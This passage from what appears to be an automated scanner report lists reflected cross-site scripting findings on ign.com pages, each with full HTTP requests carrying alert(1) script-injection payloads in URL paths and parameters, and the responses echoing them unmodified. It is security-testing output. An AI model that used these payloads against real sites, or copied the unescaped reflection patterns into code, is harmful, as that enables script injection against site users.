<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>All Game Platforms
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.ign.com/all-game-platforms.html?a380a"><script>alert(1)</script>cf68277c21f=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.576. http://www.ign.com/blogs/GrumpyBalloon/ [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/blogs/GrumpyBalloon/

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47db2"><script>alert(1)</script>54b8becf150 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blogs/GrumpyBalloon47db2"><script>alert(1)</script>54b8becf150/?p=102 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:33 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:33 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=65796fc431aee9f8db0eee5716082695; path=/
Set-Cookie: NSC_pzxq_iuuq_wjq=ffffffff090f103b45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 54655

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">

<head>
<l
...[SNIP]...
<a href="http://www.ign.com/blogs/GrumpyBalloon47db2"><script>alert(1)</script>54b8becf150/?p=102/page/2">
...[SNIP]...

3.577. http://www.ign.com/blogs/bromley-ign/2011/02/04/blog-header-contest [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/blogs/bromley-ign/2011/02/04/blog-header-contest

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86740"><script>alert(1)</script>bdf6bd0f3b0 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blogs/bromley-ign86740"><script>alert(1)</script>bdf6bd0f3b0/2011/02/04/blog-header-contest HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:11:15 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:11:15 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=444ba4eaed376a2b53f561ebce829646; path=/
Set-Cookie: NSC_pzxq_iuuq_wjq=ffffffff090f103b45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 54677

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">

<head>
<l
...[SNIP]...
<a href="http://www.ign.com/blogs/bromley-ign86740"><script>alert(1)</script>bdf6bd0f3b0/2011/02/04/blog-header-contest/page/2">
...[SNIP]...

3.578. http://www.ign.com/blogs/bromley-ign/2011/02/04/blog-header-contest [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/blogs/bromley-ign/2011/02/04/blog-header-contest

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 11729"><script>alert(1)</script>8bb7da81315 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /blogs/bromley-ign/2011/02/04/blog-header-contest?11729"><script>alert(1)</script>8bb7da81315=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Apache/2.2.15 (Unix) PHP/5.3.3
X-Powered-By: PHP/5.3.3
Content-Type: text/html; charset=utf-8
Expires: Mon, 07 Feb 2011 02:10:57 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:57 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: IGNMEDIA_NETWORK=b252b2ba092daf062a951fb5fc93284b; path=/
Set-Cookie: NSC_pzxq_iuuq_wjq=ffffffff090f103b45525d5f4f58455e445a4a423660;path=/;httponly
Content-Length: 58379

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US">

<head>
<l
...[SNIP]...
<a href="http://my.ign.com/login?r=http://www.ign.com/blogs/bromley-ign/2011/02/04/blog-header-contest?11729"><script>alert(1)</script>8bb7da81315=1">
...[SNIP]...

3.579. http://www.ign.com/index/features.html [locale parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/features.html

Issue detail

The value of the locale request parameter is copied into an HTML comment. The payload 227bb--><script>alert(1)</script>47e9fe7a45e was submitted in the locale parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index/features.html?locale=us227bb--><script>alert(1)</script>47e9fe7a45e HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:03:12 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:03:12 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044191700v-3n-12mc+1297044191700mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 121319

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Video Game Reviews
...[SNIP]...
<script>alert(1)</script>47e9fe7a45e?max=250&startDate=20110107&endDate=20110206&flags=ignHeadline&includePromotions=true&dedupe=true -->
...[SNIP]...

3.580. http://www.ign.com/index/features.html [locale parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/features.html

Issue detail

The value of the locale request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9ae8"><script>alert(1)</script>f638d1c91fd was submitted in the locale parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/features.html?locale=usa9ae8"><script>alert(1)</script>f638d1c91fd HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:03:07 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:03:07 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044187715v-3n-12mc+1297044187715mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 121278

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Video Game Reviews
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.ign.com/index/features.html?locale=usa9ae8"><script>alert(1)</script>f638d1c91fd&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.581. http://www.ign.com/index/features.html [locale parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/features.html

Issue detail

The value of the locale request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5e9f0"-alert(1)-"6198823845a was submitted in the locale parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/features.html?locale=us5e9f0"-alert(1)-"6198823845a HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:03:09 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:03:09 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044189473v-3n-12mc+1297044189473mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120695

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Video Game Reviews
...[SNIP]...
scoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.ign.com/index/features.html?locale=us5e9f0"-alert(1)-"6198823845a",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.582. http://www.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2a8eb"-alert(1)-"73f46c9adbf was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/features.html?2a8eb"-alert(1)-"73f46c9adbf=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:37 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:37 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044636804v-3n-12mc+1297044636804mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 150179

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>Video Game Reviews
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.ign.com/index/features.html?2a8eb"-alert(1)-"73f46c9adbf=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.583. http://www.ign.com/index/features.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/features.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab898"><script>alert(1)</script>f08948edd2b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/features.html?ab898"><script>alert(1)</script>f08948edd2b=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:18 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:18 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044617970v-3n-12mc+1297044617970mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 150239

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>Video Game Reviews
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.ign.com/index/features.html?ab898"><script>alert(1)</script>f08948edd2b=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.584. http://www.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6ef06"><script>alert(1)</script>b4dfff2131 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?6ef06"><script>alert(1)</script>b4dfff2131=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:06 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:06 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044605859v-3n-12mc+1297044605859mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 142877

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://www.ign.com/index/latest-updates.html?6ef06"><script>alert(1)</script>b4dfff2131=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.585. http://www.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f4b29"-alert(1)-"ebf274f6fb7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?f4b29"-alert(1)-"ebf274f6fb7=1 HTTP/1.1
Host: www.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=173446715.1297040497.1.1.utmccn=(referral)|utmcsr=burp|utmcct=/show/2|utmcmd=referral; freq=c-1297040326761v-2n-12mc+1297040326761mv+2mn+12wwe~0; i18n-cc=US; optimizelyEndUserId=oeu1297040486304r0.669825860997662; optimizelyBuckets=%7B%7D; rsi_segs=; decc=US; NGUserID=a016c09-18740-885768600-2; MSCulture=IP=173.193.214.243&IPCulture=en-US&PreferredCulture=en-US&PreferredCulturePending=&Country=VVM=&ForcedExpiration=0&timeZone=0&myStuffDma=&myStuffMarket=&USRLOC=QXJlYUNvZGU9MjE0JkNpdHk9RGFsbGFzJkNvdW50cnlDb2RlPVVTJkNvdW50cnlOYW1lPVVuaXRlZCBTdGF0ZXMmRG1hQ29kZT02MjMmTGF0aXR1ZGU9MzIuNzgyNSZMb25naXR1ZGU9LTk2LjgyMDcmUG9zdGFsQ29kZT03NTIwNyZSZWdpb25OYW1lPVRYJkxvY2F0aW9uSWQ9MA==; __utma=173446715.1624600188.1297040497.1297040497.1297040497.1; ATA=ign.129704044868759.173.193.214.243; __utmc=173446715; __utmb=173446715;

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:10:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:10:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: freq=c-1297044624029v-3n-12mc+1297044624029mv+3mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 142823

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://www.ign.com/index/latest-updates.html?f4b29"-alert(1)-"ebf274f6fb7=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.586. http://www.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

